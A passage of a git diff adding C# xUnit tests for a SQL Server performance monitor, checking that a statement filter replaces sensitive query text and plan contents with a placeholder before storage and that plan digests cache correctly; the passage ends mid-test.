+        Assert.True(await reader.ReadAsync(ct), "the row must exist");
+        return (
+            reader.IsDBNull(0) ? null : reader.GetString(0),
+            PayloadDimensions.ResolveContent(
+                reader.IsDBNull(1) ? null : reader.GetString(1),
+                reader.IsDBNull(2) ? null : reader.GetFieldValue<byte[]>(2)));
+    }
+
+    private static async Task CleanupAsync(NpgsqlConnection cleanup, int serverId, IEnumerable<byte[]> planDigests, CancellationToken ct)
+    {
+        await using (var facts = new NpgsqlCommand("DELETE FROM query_stats WHERE server_id = $1", cleanup))
+        {
+            facts.Parameters.AddWithValue(serverId);
+            await facts.ExecuteNonQueryAsync(ct);
+        }
+
+        foreach (var digest in planDigests)
+        {
+            await using var dim = new NpgsqlCommand("DELETE FROM query_plan_dim WHERE digest = $1", cleanup);
+            dim.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bytea, Value = digest });
+            await dim.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var text = new NpgsqlCommand("DELETE FROM query_text_dim WHERE digest = $1", cleanup);
+        text.Parameters.Add(new NpgsqlParameter
+        {
+            NpgsqlDbType = NpgsqlDbType.Bytea,
+            Value = PayloadDimensions.Digest(PgCollectorRowWriter.StripEmbeddedNuls(SensitiveStatements.PlaceholderText)),
+        });
+        await text.ExecuteNonQueryAsync(ct);
+    }
+
+    private static (int ServerId, string ServerName) NewServer() =>
+        (-Random.Shared.Next(1_000_000, int.MaxValue), "pm4348-" + Guid.NewGuid().ToString("N")[..12]);
+
+    [Fact]
+    public async Task TheDimensionsHoldTheMarker_AndTheCachedDigestResolvesToTheFilteredPlanOnTheNextCycle()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), SkipReason);
+
+        var ct = TestContext.Current.CancellationToken;
+        var (serverId, serverName) = NewServer();
+        var rawPlan = StatementScrubCanary.CanaryPlan();
+        await using var connection = await OpenMigratedStoreAsync(connectionString!, ct);
+        var digests = new List<byte[]>();
+        var bodySucceeded = false;
+        try
+        {
+            var first = await ReadRowAsync("0xA1", StatementScrubCanary.CanaryStatement, rawPlan, serverId, serverName);
+            var filteredDigest = CachedDigestOf(first.QueryPlanXml!);
+            digests.Add(Convert.FromHexString(filteredDigest));
+            Assert.Equal(filteredDigest, CachedDigestOf((await ReadRowAsync("0xA2", StatementScrubCanary.CanaryStatement, rawPlan, serverId, serverName)).QueryPlanXml!));
+
+            await WriteBatchAsync(connection, serverId, serverName, Anchor, new[] { first }, ct);
+
+            /* The second cycle: the host has the digest and sends no plan text. */
+            var second = await ReadRowAsync("0xB1", StatementScrubCanary.PlainStatement, rawPlan, serverId, serverName);
+            second.QueryPlanXml = null;
+            second.KnownPlanDigest = filteredDigest;
+            var absent = await WriteBatchAsync(connection, serverId, serverName, Anchor.AddMinutes(1), new[] { second }, ct);
+
+            Assert.Empty(absent);
+            var (text1, plan1) = await ResolvedAsync(connection, serverId, "0xA1", ct);
+            var (text2, plan2) = await ResolvedAsync(connection, serverId, "0xB1", ct);
+            Assert.Equal(SensitiveStatements.PlaceholderText, text1);
+            Assert.Equal(StatementScrubCanary.PlainStatement, text2);
+            Assert.Equal(first.QueryPlanXml, plan1);
+            Assert.Equal(first.QueryPlanXml, plan2);
+            StatementFilterCensus.AssertPlanFilteredKeepsTheRest(rawPlan, plan2!);
+
+            /* Nothing the raw statement or the raw plan would have stored is in the dimensions: neither raw digest has a
+               row, and the stored plan holds no secret needle. */
+            Assert.Equal(0L, await CountByDigestAsync(
+                connection, "query_text_dim", PayloadDimensions.Digest(PgCollectorRowWriter.StripEmbeddedNuls(StatementScrubCanary.CanaryStatement)), ct));
+            Assert.Equal(0L, await CountByDigestAsync(
+                connection, "query_plan_dim", PayloadDimensions.Digest(PgCollectorRowWriter.StripEmbeddedNuls(rawPlan)), ct));
+            Assert.Equal(1L, await CountByDigestAsync(
+                connection, "query_text_dim", PayloadDimensions.Digest(PgCollectorRowWriter.StripEmbeddedNuls(SensitiveStatements.PlaceholderText)), ct));
+            Assert.Equal(1L, await CountByDigestAsync(connection, "query_plan_dim", digests[0], ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, serverId, digests, cleanupCt));
+        }
+    }
+
+    /// <summary>r2 Q5: a plan the filter withheld whole stores the marker's dim row; the next cycle's filtered plan stores
+    /// its own; a digest-only write resolves for each.</summary>
+    [Fact]
+    public async Task AWholeMarkerPlan_AndTheNextCyclesFilteredPlan_BothResolveToDimRows()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), SkipReason);
+
+        var ct = TestContext.Current.CancellationToken;
+        var (serverId, serverName) = NewServer();
+        var rawPlan = StatementScrubCanary.CanaryPlan();
+        await using var connection = await OpenMigratedStoreAsync(connectionString!, ct);
+        var digests = new List<byte[]>();
+        var bodySucceeded = false;
+        try
+        {
+            var whole = await ReadRowAsync("0xC1", StatementScrubCanary.PlainStatement, rawPlan, serverId, serverName);
+            whole.QueryPlanXml = SensitiveStatements.PlaceholderText;
+            var filtered = await ReadRowAsync("0xC2", StatementScrubCanary.PlainStatement, rawPlan, serverId, serverName);
+            var wholeDigest = CachedDigestOf(SensitiveStatements.PlaceholderText);
+            var filteredDigest = CachedDigestOf(filtered.QueryPlanXml!);
+            digests.Add(Convert.FromHexString(wholeDigest));
+            digests.Add(Convert.FromHexString(filteredDigest));
+            Assert.NotEqual(wholeDigest, filteredDigest);
+
+            Assert.Empty(await WriteBatchAsync(connection, serverId, serverName, Anchor, new[] { whole }, ct));
+            Assert.Empty(await WriteBatchAsync(connection, serverId, serverName, Anchor.AddMinutes(1), new[] { filtered }, ct));
+
+            var digestOnly = await ReadRowAsync("0xC3", StatementScrubCanary.PlainStatement, rawPlan, serverId, serverName);
+            digestOnly.QueryPlanXml = null;
+            digestOnly.KnownPlanDigest = filteredDigest;
+            Assert.Empty(await WriteBatchAsync(connection, serverId, serverName, Anchor.AddMinutes(2), new[] { digestOnly }, ct));
+
+            Assert.Equal(SensitiveStatements.PlaceholderText, (await ResolvedAsync(connection, serverId, "0xC1", ct)).Plan);
+            Assert.Equal(filtered.QueryPlanXml, (await ResolvedAsync(connection, serverId, "0xC2", ct)).Plan);
+            Assert.Equal(filtered.QueryPlanXml, (await ResolvedAsync(connection, serverId, "0xC3", ct)).Plan);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, serverId, digests, cleanupCt));
+        }
+    }
+
+    private static async Task<long> CountByDigestAsync(NpgsqlConnection connection, string table, byte[] digest, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("SELECT count(*) FROM " + table + " WHERE digest = $1", connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bytea, Value = digest });
+        return (long)(await command.ExecuteScalarAsync(ct))!;
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubQueryStatsTests.cs b/Darling/Darling.Tests/StatementScrubQueryStatsTests.cs
new file mode 100644
index 0000000000..754470b01c
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubQueryStatsTests.cs
@@ -0,0 +1,449 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348 (statement filter, lane R2): the collection census for <c>query_stats</c> and <c>procedure_stats</c>. The
+/// canary is planted in the collector's INPUT (a reader over a <see cref="DataTable"/>, as
+/// <see cref="QueryStatsPlanFetchTests"/> and <see cref="ProcedureStatsPlanReuseTests"/> do), the read and the write
+/// run, and <see cref="StatementScrubRecordingWriter"/> remembers what was written: no written value holds a secret
+/// needle, the statement column is exactly the marker, the plan parses with the marker in statement 1 and the kept
+/// needles in statements 2 and 3, and a plain statement is the same instance the reader returned.
+/// </summary>
+public sealed partial class StatementCollectionCensusTests
+{
+    private static readonly DateTime s_now = new(2026, 7, 2, 12, 0, 0, DateTimeKind.Utc);
+
+    private sealed class NoDeltas : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue,
+            DateTime? collectionTime = null, int maxGapSeconds = 0) => currentValue;
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            intervalSeconds = 0;
+            return currentValue;
+        }
+    }
+
+    private static CollectorContext Context(bool capture, bool defer = false, bool identity = false) => new()
+    {
+        ServerId = 42,
+        ServerName = "test-server",
+        CollectionTime = s_now,
+        Deltas = new NoDeltas(),
+        Target = new CollectorTargetInfo(),
+        CapturePlanXml = capture,
+        DeferPlanXmlFetch = defer,
+        PlanIdentityColumns = identity,
+    };
+
+    private static Type QueryStatsColumnType(int ordinal) => ordinal switch
+    {
+        3 or 4 => typeof(DateTime),
+        0 or 1 or 2 or 36 or 37 or 38 or 42 => typeof(string),
+        40 or 41 or 43 => typeof(int),
+        _ => typeof(long),
+    };
+
+    /// <summary>A query_stats result with the given statement text and (optionally) inline plan columns.</summary>
+    private static async Task<List<QueryStatsCollector.Row>> ReadQueryStatsAsync(
+        CollectorContext context, params (string? Text, string? Plan)[] rows)
+    {
+        using var table = new DataTable();
+        for (var i = 0; i < 44; i++)
+        {
+            table.Columns.Add("c" + i.ToString(CultureInfo.InvariantCulture), QueryStatsColumnType(i));
+        }
+
+        var withPlan = context.CapturePlanXml && !context.DeferPlanXmlFetch;
+        if (withPlan)
+        {
+            table.Columns.Add("query_plan_xml", typeof(string));
+            table.Columns.Add("query_plan_xml_bytes", typeof(long));
+        }
+
+        var n = 0;
+        foreach (var (text, plan) in rows)
+        {
+            var values = new object[table.Columns.Count];
+            for (var i = 0; i < 44; i++)
+            {
+                values[i] = DBNull.Value;
+            }
+
+            values[1] = "0xQ" + (n++).ToString(CultureInfo.InvariantCulture);
+            values[36] = "0x01";
+            values[37] = "0x02";
+            values[38] = (object?)text ?? DBNull.Value;
+            if (withPlan)
+            {
+                values[44] = (object?)plan ?? DBNull.Value;
+                values[45] = plan is null ? DBNull.Value : (long)plan.Length;
+            }
+
+            table.Rows.Add(values);
+        }
+
+        await using var reader = table.CreateDataReader();
+        return await QueryStatsCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
+    }
+
+    private static StatementScrubRecordingWriter Write(QueryStatsCollector.Row row, CollectorContext context)
+    {
+        var writer = new StatementScrubRecordingWriter();
+        QueryStatsCollector.Instance.WritePayload(row, writer, context);
+        return writer;
+    }
+
+    [Fact]
+    public async Task QueryStats_QueryText_IsWithheld()
+    {
+        var context = Context(capture: false);
+        var plain = new string(StatementScrubCanary.PlainStatement.ToCharArray());
+
+        var rows = await ReadQueryStatsAsync(context, (StatementScrubCanary.CanaryStatement, null), (plain, null));
+
+        var named = Write(rows[0], context);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.False(named.AnyStringContains(needle), needle);
+        }
+
+        /* the written value of the query_text column is exactly the marker */
+        var textColumn = QueryStatsCollector.Instance.PayloadColumns.ToList().FindIndex(c => c.Name == "query_text");
+        Assert.True(textColumn >= 0);
+        Assert.Equal(SensitiveStatements.PlaceholderText, named.Values[textColumn]);
+        Assert.Equal(SensitiveStatements.PlaceholderText, rows[0].QueryText);
+
+        /* the plain statement is kept (its same-instance pin is the next test) */
+        Assert.Equal(plain, rows[1].QueryText);
+        Assert.Contains(plain, Write(rows[1], context).Strings);
+    }
+
+    [Fact]
+    public async Task QueryStats_QueryText_PlainStatementIsTheSameInstanceTheReaderReturned()
+    {
+        var context = Context(capture: false);
+        var plain = new string(StatementScrubCanary.PlainStatement.ToCharArray());
+        using var table = new DataTable();
+        for (var i = 0; i < 44; i++)
+        {
+            table.Columns.Add("c" + i.ToString(CultureInfo.InvariantCulture), QueryStatsColumnType(i));
+        }
+
+        var values = new object[44];
+        for (var i = 0; i < 44; i++)
+        {
+            values[i] = DBNull.Value;
+        }
+
+        values[38] = plain;
+        table.Rows.Add(values);
+        await using var reader = table.CreateDataReader();
+
+        var rows = await QueryStatsCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
+
+        Assert.Same(plain, Assert.Single(rows).QueryText);
+    }
+
+    [Fact]
+    public async Task QueryStats_QueryPlanXml_InlinePlanIsFiltered()
+    {
+        var context = Context(capture: true);
+        var rows = await ReadQueryStatsAsync(context, (null, StatementScrubCanary.CanaryPlan()));
+
+        var written = Write(rows[0], context);
+
+        var plan = Assert.Single(written.Payloads).Content!;
+        StatementFilterCensus.AssertPlanFilteredKeepsTheRest(StatementScrubCanary.CanaryPlan(), plan);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.False(written.AnyStringContains(needle), needle);
+        }
+    }
+
+    [Fact]
+    public async Task QueryStats_QueryPlanXml_DeferredFetchPlanIsFiltered_AndTheDigestIsOfTheFilteredPlan()
+    {
+        var plan = StatementScrubCanary.CanaryPlan();
+        var first = await FetchOneAsync(plan, new SensitiveStatements.Session());
+        var second = await FetchOneAsync(plan, new SensitiveStatements.Session());
+
+        StatementFilterCensus.AssertPlanFilteredKeepsTheRest(plan, first!);
+        Assert.Equal(first, second);
+        Assert.Equal(
+            Convert.ToHexString(PayloadDimensions.Digest(first!)),
+            Convert.ToHexString(PayloadDimensions.Digest(second!)));
+    }
+
+    [Fact]
+    public async Task QueryStats_QueryPlanXml_ASpentBudgetGivesTheWholeMarker_AndTheNextSessionTheFilteredPlan()
+    {
+        var plan = StatementScrubCanary.CanaryPlan();
+        var spent = SpentSession();
+        Assert.True(spent.Spent);
+
+        var whole = await FetchOneAsync(plan, spent);
+        var next = await FetchOneAsync(plan, new SensitiveStatements.Session());
+
+        Assert.Equal(SensitiveStatements.PlaceholderText, whole);
+        Assert.NotEqual(SensitiveStatements.PlaceholderText, next);
+        StatementFilterCensus.AssertPlanFilteredKeepsTheRest(plan, next!);
+    }
+
+    /// <summary>A session whose 15-second budget is already spent: its fake judge charges 20 seconds to a fake clock.</summary>
+    private static SensitiveStatements.Session SpentSession()
+    {
+        var now = TimeSpan.Zero;
+        var session = new SensitiveStatements.Session(
+            _ =>
+            {
+                now += TimeSpan.FromSeconds(20);
+                return SensitiveStatements.Verdict.Clean;
+            },
+            () => now,
+            TimeSpan.FromSeconds(15),
+            new SensitiveStatements.TimedOutMemo());
+        session.Text("a value that spends the budget");
+        return session;
+    }
+
+    private static async Task<string?> FetchOneAsync(string plan, SensitiveStatements.Session session)
+    {
+        using var table = new DataTable();
+        table.Columns.Add("ord", typeof(int));
+        table.Columns.Add("query_plan_xml", typeof(string));
+        table.Columns.Add("query_plan_xml_bytes", typeof(long));
+        table.Rows.Add(0, plan, (long)plan.Length);
+        await using var reader = table.CreateDataReader();
+
+        var fetched = await QueryStatsCollector.ReadPlanFetchAsync(reader, session, CancellationToken.None);
+        return fetched[0].PlanXml;
+    }
+
+    [Fact]
+    public async Task ProcedureStats_QueryPlanXml_InlinePlanIsFiltered()
+    {
+        var context = Context(capture: true);
+        using var table = new DataTable();
+        for (var i = 0; i < 27; i++)
+        {
+            table.Columns.Add("c" + i.ToString(CultureInfo.InvariantCulture), i switch
+            {
+                4 or 5 => typeof(DateTime),
+                0 or 1 or 2 or 3 or 25 or 26 => typeof(string),
+                _ => typeof(long),
+            });
+        }
+
+        var values = new object[table.Columns.Count];
+        for (var i = 0; i < 27; i++)
+        {
+            values[i] = table.Columns[i].DataType == typeof(long) && i is 6 or 7 or 8 or 9 or 10 or 11 or 22 or 23 or 24 ? 1L : DBNull.Value;
+        }
+
+        table.Rows.Add(values);
+
+        await using var reader = table.CreateDataReader();
+        var rows = await ProcedureStatsCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
+
+        /* #5449: the plan enters the row in the plan phase, which is where the filter now runs. */
+        using var planTable = new DataTable();
+        planTable.Columns.Add("ord", typeof(int));
+        planTable.Columns.Add("query_plan_xml", typeof(string));
+        planTable.Columns.Add("query_plan_xml_bytes", typeof(long));
+        planTable.Rows.Add(0, StatementScrubCanary.CanaryPlan(), 7L);
+        await using var planReader = planTable.CreateDataReader();
+        var phase = await ProcedureStatsCollector.ReadPlanPhaseAsync(planReader, context, CancellationToken.None);
+        ProcedureStatsCollector.ApplyPlanPhase(rows, new[] { 0 }, phase);
+
+        var writer = new StatementScrubRecordingWriter();
+        ProcedureStatsCollector.Instance.WritePayload(Assert.Single(rows), writer, context);
+
+        var plan = Assert.Single(writer.Payloads).Content!;
+        StatementFilterCensus.AssertPlanFilteredKeepsTheRest(StatementScrubCanary.CanaryPlan(), plan);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.False(writer.AnyStringContains(needle), needle);
+        }
+    }
+
+    /// <summary>r2 Q5: a plan the filter withheld whole (budget spent) is stored this cycle but never cached, so the next
+    /// cycle fetches the plan again and stores its filtered form; a filtered plan IS cached under its own digest.</summary>
+    [Fact]
+    public async Task ProcedureStats_QueryPlanXml_AWholeMarkerPlanFromTheDeferredFetchIsNotCached_AndTheNextCycleCachesTheFilteredPlan()
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var plan = StatementScrubCanary.CanaryPlan();
+        var row = default(ProcedureStatsCollector.Row) with
+        {
+            DatabaseName = "db1",
+            SchemaName = "dbo",
+            ObjectName = "p1",
+            ObjectType = "P",
+            CachedTime = s_now.AddHours(-4),
+            SqlHandle = "0x0301",
+            PlanHandle = "0x0501",
+            PlanStatementCount = 3,
+            PlanLastStatementCompile = s_now.AddHours(-3),
+            PlanGenerationSum = 7,
+        };
+
+        var unjudged = new HashSet<int>();
+        ProcedureStatsPlanReuse.PlanFetch FetchThrough(SensitiveStatements.Session session) => async (handles, token) =>
+        {
+            using var table = new DataTable();
+            table.Columns.Add("ord", typeof(int));
+            table.Columns.Add("query_plan_xml", typeof(string));
+            table.Columns.Add("query_plan_xml_bytes", typeof(long));
+            table.Rows.Add(0, plan, (long)plan.Length);
+            await using var reader = table.CreateDataReader();
+            return await QueryStatsCollector.ReadPlanFetchAsync(reader, session, token, unjudged);
+        };
+
+        var spent = SpentSession();
+        var rows1 = new List<ProcedureStatsCollector.Row> { row };
+        var first = await ProcedureStatsPlanReuse.ApplyOnAsync(1, cache, rows1, true, 1, s_now, FetchThrough(spent), CancellationToken.None, unjudged);
+        cache.ConfirmPending(first.Pending, s_now);
+
+        Assert.Equal(SensitiveStatements.PlaceholderText, rows1[0].QueryPlanXml);
+        Assert.Empty(first.Pending);
+
+        var rows2 = new List<ProcedureStatsCollector.Row> { row };
+        unjudged.Clear();
+        var second = await ProcedureStatsPlanReuse.ApplyOnAsync(1, cache, rows2, true, 2, s_now, FetchThrough(new SensitiveStatements.Session()), CancellationToken.None, unjudged);
+        cache.ConfirmPending(second.Pending, s_now);
+
+        Assert.Equal(0, second.Hit);
+        StatementFilterCensus.AssertPlanFilteredKeepsTheRest(plan, rows2[0].QueryPlanXml!);
+        Assert.Single(second.Pending);
+
+        var rows3 = new List<ProcedureStatsCollector.Row> { row };
+        var third = await ProcedureStatsPlanReuse.ApplyOnAsync(1, cache, rows3, true, 3, s_now, FetchThrough(new SensitiveStatements.Session()), CancellationToken.None, unjudged);
+        Assert.Equal(1, third.Hit);
+        Assert.Equal(ProcedureStatsPlanReuse.DigestOf(rows2[0].QueryPlanXml!), rows3[0].KnownPlanDigest);
+    }
+
+    /// <summary>A prepared plan cut inside its parameter list: it does not parse, and the auto-parameter probe could have
+    /// mattered, so the filter withholds the whole plan without a budget being involved (the same plan every cycle).</summary>
+    private const string CutPreparedPlan = "<ShowPlanXML><BatchSequence><Batch><Statements><StmtSimple StatementText=\"UPDATE t SET p = @1\">"
+        + "<QueryPlan><ParameterList><ColumnReference Column=\"@1\" ParameterCompiledValue=\"N&apos;S3";
+
+    /// <summary>#5367 review, A-L4: a plan the filter withheld whole for its OWN sake (it cannot be parsed) is not a
+    /// budget skip. It fails the same way every cycle, so it is recorded like any fetched plan: the second cycle
+    /// answers from the cache instead of fetching and rendering the plan on the target again.</summary>
+    [Fact]
+    public async Task ProcedureStats_QueryPlanXml_APlanWithheldWholeForItsOwnSakeIsCached_SoTheNextCycleDoesNotFetchItAgain()
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var plan = CutPreparedPlan;
+        var row = default(ProcedureStatsCollector.Row) with
+        {
+            DatabaseName = "db1",
+            SchemaName = "dbo",
+            ObjectName = "p1",
+            ObjectType = "P",
+            CachedTime = s_now.AddHours(-4),
+            SqlHandle = "0x0301",
+            PlanHandle = "0x0501",
+            PlanStatementCount = 3,
+            PlanLastStatementCompile = s_now.AddHours(-3),
+            PlanGenerationSum = 7,
+        };
+
+        var fetches = 0;
+        var unjudged = new HashSet<int>();
+        ProcedureStatsPlanReuse.PlanFetch FetchThrough(SensitiveStatements.Session session) => async (handles, token) =>
+        {
+            fetches++;
+            using var table = new DataTable();
+            table.Columns.Add("ord", typeof(int));
+            table.Columns.Add("query_plan_xml", typeof(string));
+            table.Columns.Add("query_plan_xml_bytes", typeof(long));
+            table.Rows.Add(0, plan, (long)plan.Length);
+            await using var reader = table.CreateDataReader();
+            return await QueryStatsCollector.ReadPlanFetchAsync(reader, session, token, unjudged);
+        };
+
+        SensitiveStatements.Session Ordinary() => new();
+
+        var rows1 = new List<ProcedureStatsCollector.Row> { row };
+        var first = await ProcedureStatsPlanReuse.ApplyOnAsync(1, cache, rows1, true, 1, s_now, FetchThrough(Ordinary()), CancellationToken.None, unjudged);
+        cache.ConfirmPending(first.Pending, s_now);
+
+        Assert.Equal(SensitiveStatements.PlaceholderText, rows1[0].QueryPlanXml);
+        Assert.Empty(unjudged);
+        Assert.Single(first.Pending);
+
+        var rows2 = new List<ProcedureStatsCollector.Row> { row };
+        var second = await ProcedureStatsPlanReuse.ApplyOnAsync(1, cache, rows2, true, 2, s_now, FetchThrough(Ordinary()), CancellationToken.None, unjudged);
+
+        Assert.Equal(1, second.Hit);
+        Assert.Equal(1, fetches);
+        Assert.Equal(ProcedureStatsPlanReuse.DigestOf(SensitiveStatements.PlaceholderText), rows2[0].KnownPlanDigest);
+    }
+
+    [Fact]
+    public async Task ReadPlanFetchAsync_ReportsOnlyTheBudgetSkippedPlansAsUnjudged()
+    {
+        var plan = StatementScrubCanary.CanaryPlan();
+        using var table = new DataTable();
+        table.Columns.Add("ord", typeof(int));
+        table.Columns.Add("query_plan_xml", typeof(string));
+        table.Columns.Add("query_plan_xml_bytes", typeof(long));
+        table.Rows.Add(0, plan, (long)plan.Length);
+        using var cutTable = new DataTable();
+        cutTable.Columns.Add("ord", typeof(int));
+        cutTable.Columns.Add("query_plan_xml", typeof(string));
+        cutTable.Columns.Add("query_plan_xml_bytes", typeof(long));
+        cutTable.Rows.Add(0, CutPreparedPlan, (long)CutPreparedPlan.Length);
+
+        var spentSet = new HashSet<int>();
+        await using (var reader = table.CreateDataReader())
+        {
+            await QueryStatsCollector.ReadPlanFetchAsync(reader, SpentSession(), CancellationToken.None, spentSet);
+        }
+
+        var ownSakeSet = new HashSet<int>();
+        await using (var reader = cutTable.CreateDataReader())
+        {
+            var fetched = await QueryStatsCollector.ReadPlanFetchAsync(reader, new SensitiveStatements.Session(), CancellationToken.None, ownSakeSet);
+            Assert.Equal(SensitiveStatements.PlaceholderText, fetched[0].PlanXml);
+        }
+
+        Assert.Equal(new[] { 0 }, spentSet);
+        Assert.Empty(ownSakeSet);
+    }
+
+    [Fact]
+    public void QueryStats_TheDeferredFetch_CachesAWholeMarkerPlanUnlessTheBudgetSkippedIt()
+    {
+        var source = System.IO.File.ReadAllText(RepoFile.PathTo("Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs"));
+        var bodies = StatementColumnCensusTests.BodiesOf(source, "DarlingCollectorRunner", "FetchDeferredQueryStatsPlansAsync");
+
+        Assert.Single(bodies);
+        Assert.Contains("unjudged.Contains(ord)", bodies[0], StringComparison.Ordinal);
+        Assert.DoesNotContain("PlaceholderText", bodies[0], StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubQueryStoreLiveTests.cs b/Darling/Darling.Tests/StatementScrubQueryStoreLiveTests.cs
new file mode 100644
index 0000000000..5d34369857
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubQueryStoreLiveTests.cs
@@ -0,0 +1,320 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, #5320 (lane R3): the two Darling Query Store writers against a REAL store. The text writer and the plan
+/// writer judge each fetched value before it is stored, and a value the filter could not judge (its per-batch
+/// budget is spent) is dropped from the batch, not stored as the marker: both stores are write-once per id, and an
+/// absent row is exactly what the missing-set probe reads as "fetch me again".
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementScrubQueryStoreLiveTests
+{
+    private const string ServerName = "darling-statement-scrub-qs-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private const string Db = "ScrubDb";
+    private const int TestTimeoutSeconds = 30;
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>A judge that charges a fixed cost to a fake clock for every value it is asked about.</summary>
+    private sealed class FakeJudge(TimeSpan cost)
+    {
+        public TimeSpan Now { get; private set; }
+
+        public int Calls { get; private set; }
+
+        public Func<TimeSpan> Clock => () => Now;
+
+        public SensitiveStatements.Verdict Judge(string text)
+        {
+            Calls++;
+            Now += cost;
+            return SensitiveStatements.Verdict.Clean;
+        }
+    }
+
+    private static SensitiveStatements.Session SessionSpentAfter(FakeJudge fake, double seconds) =>
+        new(fake.Judge, fake.Clock, TimeSpan.FromSeconds(seconds), new SensitiveStatements.TimedOutMemo());
+
+    private static async Task<Dictionary<long, string?>> StoredTextsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        var result = new Dictionary<long, string?>();
+        using var command = new NpgsqlCommand(
+            "SELECT query_id, query_sql_text FROM collect.query_store_text WHERE server_id = $1 AND database_name = $2", connection);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(Db);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            result[reader.GetInt64(0)] = reader.IsDBNull(1) ? null : reader.GetString(1);
+        }
+
+        return result;
+    }
+
+    private static async Task<Dictionary<long, byte[]?>> MapDigestsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        var result = new Dictionary<long, byte[]?>();
+        using var command = new NpgsqlCommand(
+            "SELECT plan_id, digest FROM collect.query_store_plan_map WHERE server_id = $1 AND database_name = $2", connection);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(Db);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            result[reader.GetInt64(0)] = reader.IsDBNull(1) ? null : (byte[])reader.GetValue(1);
+        }
+
+        return result;
+    }
+
+    private static async Task<string?> DimContentAsync(NpgsqlConnection connection, byte[] digest, System.Threading.CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand("SELECT query_plan_gz FROM collect.query_plan_dim WHERE digest = $1", connection);
+        command.Parameters.AddWithValue(digest);
+        var value = await command.ExecuteScalarAsync(ct);
+        return value is byte[] compressed ? PayloadDimensions.DecompressContent(compressed) : null;
+    }
+
+    [Fact]
+    public async Task QueryStoreText_StoresTheMarkerForANamedStatement_AndTheTextForAPlainOne()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live statement filter test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var landed = await QueryStoreTextWriter.WriteAsync(
+                connection, ServerId, Db,
+                new[]
+                {
+                    new FetchedQueryText(1, StatementScrubCanary.CanaryStatement, "0xAA"),
+                    new FetchedQueryText(2, StatementScrubCanary.PlainStatement, "0xBB"),
+                    new FetchedQueryText(3, null, "0xCC"),
+                },
+                DateTime.UtcNow, TestTimeoutSeconds, cancellationToken: ct);
+
+            Assert.Equal(new long[] { 1, 2, 3 }, landed);
+            var stored = await StoredTextsAsync(connection, ct);
+            Assert.Equal(SensitiveStatements.PlaceholderText, stored[1]);
+            Assert.Equal(StatementScrubCanary.PlainStatement, stored[2]);
+            Assert.Null(stored[3]);
+            foreach (var needle in StatementScrubCanary.SecretNeedles)
+            {
